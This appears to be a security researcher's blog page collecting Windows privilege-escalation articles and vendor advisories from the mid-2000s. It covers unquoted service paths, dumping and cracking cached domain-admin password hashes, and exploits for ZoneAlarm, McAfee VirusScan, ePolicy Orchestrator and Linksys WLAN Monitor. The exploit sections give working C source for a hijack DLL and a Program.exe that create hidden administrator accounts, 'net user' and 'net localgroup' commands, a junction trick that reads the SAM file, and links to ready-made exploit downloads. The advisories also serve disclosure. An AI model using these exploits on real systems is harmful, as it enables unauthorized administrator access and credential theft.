Download it at http://www.windowsaudit.com/

Neely Rae Arvin

Rylee Madison Arvin

Rylee & Neely

Terrence & Reed

Rylee Madison Arvin

Austin Grey Morales

Rylee Madison Arvin

Neely Rae Arvin

Rylee Madison Arvin

First, some background information on how Windows launches applications:

1. Start, Run, C:\Winnt\system32\cmd.exe

This is pretty simple and straight forward…Windows will locate the file cmd.exe and launch it.

2. Start, Run, “C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe”

This is almost identical to the first. Windows will locate the file btwdins.exe (the default Bluetooth service executable that appears on most HP/Compaq SOHO machines) and launch it. However, note the use of the quotes in the path because of the spaces. In the old 8.3 notation this could be written as follows and the use of quotes would not be necessary.

C:\Progra~1\WIDCOMM\Blueto~1\bin\btwdins.exe

3. Start, Run, C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe

This may look the same as the previous example but the quotes are missing. This can be bad and I will discuss why further down but here is how Windows interprets this statement because of the spaces.

- Windows will try to locate and launch the file C:\Program.exe
- If that file does not exist Windows will try to locate and launch the file C:\Program Files\WIDCOMM\Bluetooth.exe
- If that file does not exist Windows will finally try to locate and launch the original intended file C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe

You might be thinking one of two things right now…wow or so what. Well let’s say you are logged into a machine as a user with only local guest privileges. You can’t do much but you want to try to interact with other process that are running with higher privileges so that you can manipulate them to elavate your privileges. So what runs with higher privileges…services. Most services in Windows run as LocalSystem which has basically god rights for the local machine.

Thinking back to the examples, what if I told you that Bluetooth was a service set to startup automatically with Windows and run under the context of LocalSystem. The path to the executable is C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe without the quotes. When Windows starts it will try to start the Bluetooth service automatically as LocalSystem but since there are no quotes around the path to the btwdins.exe file it will try to launch the following as LocalSystem first:

- C:\Program.exe
- C:\Program Files\WIDCOMM\Bluetooth.exe

So you could hack up your own Program.exe service or Bluetooth.exe service and place it in the location where Windows will accidentally run it. The service you create could simply create a new account and add it to the local Administrators group.

However, you can’t do much as with your current guest privileges. The default permissions for the Program Files folder in Windows 2000 and above prevent a guest account from even entering the folder. So how are you supposed to plant your custom C:\Program Files\WIDCOMM\Bluetooth.exe file? You can’t. But what about using the root of C:\ for a custom Program.exe file? You can…in Windows 2000 and below. In Windows XP and above the default permissions of Everyone – Full Control where removed (which was a smart move by Microsoft).

So plant your custom C:\Program.exe file that will create a new account and add it to the local Administrators group and restart the computer. Log in as the new admin account.

Want the tools discussed in this article?

http://reedarvin.thearvins.com/tools/EnumServiceExecutablePaths.zip

This is a simple PERL (http://www.activeperl.com/) script that you can run to enumerate the executable paths of all services. Just run it and look through the output for paths that have spaces and do not have quotes.

http://reedarvin.thearvins.com/tools/Program.zip

This is the custom Program.exe service file that can be used to add a new user and add that user to the local Administrators group. Just copy the Program.exe file and the runme.txt file to the root of C:\. Add as many commands as you would like Program.exe to run to the runme.txt file.

Let’s talk about workstation security for a second. I would guess that most companies don’t even worry about completely securing client workstations. In most companies that level of attention would take waaaaay too much time. Besides, compromising a workstation only gives a few key pieces of information. None of which are that useful for compromising a domain. Check it out:

1. You can crack any local account passwords on the box. Chances are slim but the password for the local adminstrator account may be the same as the password for the local administrator account on all of the other workstations. The chances are even slimmer but the password may be the same as that on servers.

2. You can dump the LSA secrets which reveals clear text passwords for accounts that are used to run local services on the machine. The chance that this will reveal anything on a client machine will be slim.

Lets be realistic though…your testing a fairly secure network here. You’ve compromised one workstation due to a default install of msde with a blank sa password. However, this is the only workstation that you’ve gotten into and you’ve already checked all the other machines in the domain. Where do you go from here?

Now, thanks to Arnaud Pilon, you have a chance using a new tool called CacheDump (http://www.cr0.net:8040/misc/cachedump.html). Let me give you a little background first.

When you log into Windows, it is kind enough to cache your password in the registry. This caching process can be disabled but by default it is enabled and for a good reason. Consider this…you have a laptop that you use at work. You log on to it using the username and password for your work domain. When you take your laptop home, even though you are not connected to the work domain you can still log into that laptop with the same username, password and domain. This is made possible by the password cache that is stored in the registry for your username. Nice functionality huh? Without it you would have to have a local user account to log in with and you would have to maintain two different passwords…one for your domain account and one for the local account. What a pain. So here is the classic case of security vs. functionality.

So a Windows machine will cache domain user account passwords, big deal right? This is a huge deal. Let’s say that a domain admin logs into your workstation. He/She leaves behind a cached password for a very privileged account. Even worse, let’s say you use Altiris or Microsoft SMS to remotely install and administer applications on client workstations. The whole purpose for using these products is to facilitate an application setup by giving it administrative privileges for a user who is not an administrator. So Altiris/SMS is logging into almost all of your machines using a very privileged account and the cached password hash is being left behind on every machine.

Now where were we…you’ve compromised one workstation and your stuck. What do you do now? You bust out CacheDump and run it as follows:

c:\cachedump (wow, complicated isn’t it)

domadmin1:0E9A658F6132E709ED673458387E6892:work:work.comp.corp
entadmin1:19E8B953689EFBC3222ABC599F835856:comp:comp.corp

The output shows you the cached password hash for a domain admin account in your domain and an enterprise admin account in the parent domain. So you copy this information into a text file called hashs.txt and run a custom version of John and crack all the passwords as follows:

c:\john -format:mscash hashs.txt

It’s only a matter of time now.

The game is changing. Now your workstations are just a important as your domain controllers and you member servers.

Want the tools discussed in this article?

CacheDump v1.1, diffs for John that include the mscash format, and how to build the custom version of John can all be found here:

http://www.cr0.net:8040/misc/cachedump.html

To dump LSA secrets I prefer Cain & Able which can be found here:

http://www.oxid.it/cain.html

Summary:
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite build 6.1.744.000 (http://www.zonelabs.com/).

Details:
During Windows startup the TrueVector service (vsmon.exe – an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account. During its startup process it attempts to load several DLLs (that are listed below).

- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll

It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState’s ActivePerl installed so C:\Perl\bin is included in my PATH.

vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409.dll  NOT FOUND

Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable. As you saw above, I had ActiveState’s ActivePerl installed and it worked just fine.

Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process. On Windows XP, the C:\Perl\bin folder has special permissions set (by default) for the local Users group that allows the creation and modification of new files and folders. Perfect, that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.

Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly earlier versions

Patches/Workarounds:
The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward.

Exploits:

1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile your own using
the source code below.

2. Extract the magic.dll and magic.bat files.

3. Rename the magic.dll file to any of the 18 different file names listed above. In
this example I will use VSUTIL_Loc0409_Oem8701.dll.

4. Copy the VSUTIL_Loc0409_Oem8701.dll and magic.bat files to your chosen directory
listed in the Windows PATH environment variable.

5. Restart the machine.

6. When the TrueVector service starts up it will create a new user account named
Magic with a password of M@g1c$$ and add it to the local Administrators group.

// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o

#include <windows.h>

VOID RunMagicBatFile( VOID );

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
        BOOLEAN bSuccess = TRUE;

        switch ( fdwReason )
        {
                case DLL_PROCESS_ATTACH:
                        RunMagicBatFile();

                        break;

                case DLL_THREAD_ATTACH:

                        break;

                case DLL_THREAD_DETACH:

                        break;

                case DLL_PROCESS_DETACH:

                        break;
        }

        return bSuccess;
}

VOID RunMagicBatFile()
{
        TCHAR  szWinDir[ _MAX_PATH ];
        TCHAR szCmdLine[ _MAX_PATH ];

        STARTUPINFO         si;
        PROCESS_INFORMATION pi;

        GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

        wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );

        ZeroMemory( &si, sizeof( si ) );

        si.cb = sizeof( si );

        ZeroMemory( &pi, sizeof( pi ) );

        CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );

        CloseHandle( pi.hProcess );
        CloseHandle( pi.hThread );
}
// ===== End Magic.c ======

// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Summary:
Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5) (http://www.mcafee.com/).

Details:
By default the naPrdMgr.exe process runs under the context of the Local System account. Every so often it will run through a process where it does the following:

- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT

The issue occurs when the naPrdMgr.exe process attempts to run the C:\Program Files\Network Associates\VirusScan\EntVUtil.EXE file. Because of a lack of quotes the naPrdMgr.exe process first tries to run C:\Program.exe. If that is not found it tries to run C:\Program Files\Network.exe. When that is not found it finally runs the EntVUtil.EXE file that it was originally intending to run. A malicious user can create an application named Program.exe and place it on the root of the C:\ and it will be run with Local System privileges by the naPrdMgr.exe process. Source code for an example Program.exe is listed below.

Vulnerable Versions:
McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)

Patches/Workarounds:
The vendor has released knowledge base article kb45256 to address the issue.

Solution one from the vendor:
“This issue is resolved in Patch 12.”

Solution two from the vendor:
“The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to resolve the potential exploit. The new plugin is available as a HotFix from McAfee Tier III Technical Support.”

Exploits:

// ===== Start Program.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
        CHAR  szWinDir[ _MAX_PATH ];
        CHAR szCmdLine[ _MAX_PATH ];

        GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

        printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );

        wsprintf( szCmdLine, "%s\\system32\\net.exe user Program Pr0gr@m$$ /add", szWinDir );

        system( szCmdLine );

        printf( "Adding user \"Program\" to the local Administrators group...\n" );

        wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators Program /add", szWinDir );

        system( szCmdLine );

        return 0;
}
// ===== End Program.c ======

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Summary:
Privilege escalation in Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3) (http://www.nai.com/).

Details:
The ePolicy Orchestrator Agent web server (which runs on TCP port 8081 by default and serves the McAfee Agent Activity Log) can be used to view files that exist on the same partition with LocalSystem level privileges. On a default windows installation the “C:\Documents and Settings\All Users\Application Data\Network Associates\Common Framework\Db” folder (which is created by the EPO agent and is the folder that serves as the web root for the McAfee Agent Activity Log) includes the NTFS permission Everyone/Full Control. By using the Junction tool (from SysInternals) available at http://www.sysinternals.com/utilities/junction.html one can create a subfolder in the EPO agent web root directory (as any user) that will allow any file on the same partition to be viewed with LocalSystem level privileges.

Vulnerable Versions:
Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3)

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploits:

1. Logon to a machine running the EPO agent as any user.

2. Using the Juction tool type the following command:

junction “C:\Documents and Settings\All Users\Application Data\Network
Associates\Common Framework\Db\Test” C:\

This creates the equivalent of a virtual folder in the web server root named
Test that points to C:\

3. Use Internet Explorer to view a restricted file such as:

http://127.0.0.1:8081/Test/WINDOWS/repair/sam

The contents of the restricted file will be displayed thanks to the
LocalSystem account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Summary:
Privilege escalation in Linksys WLAN Monitor v2.0 (http://www.linksys.com/).

Details:
The Linksys WLAN Monitor service (WLSVC) that is used to configure settings for various Linksys wireless network cards runs under the context of the LocalSystem account. It is possible to manipulate the administrative interface of the Linksys WLAN Monitor and escalate privileges to that of the LocalSystem account.

Vulnerable Versions:
Linksys WLAN Monitor v2.0 (for the WUSB54G wireless NIC and possibly other wireless NICs)

Patches/Workarounds:
The vendor was notified of the issue. There was no response as to whether or not a patch/fix would be released.

Exploits:

1. Right click on the Linksys Wireless Network Monitor in the lower right corner
of the screen and click Open the Monitor.

2. Click the Profiles tab and click Import.

2. Right click on the Open button and click What’s This?

3. Right click on the help text that is shown in yellow and click Print Topic.

4. Right click on any printer and click Open.

5. Click Help, Help Topics.

6. Right click in the right side of the help screen and click View Source.

7. Notepad will appear (running under the context of the LocalSystem account).
Click File, click Open.

8. Change Files of type: to All Files, navigate to the system32 directory and
locate cmd.exe. Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)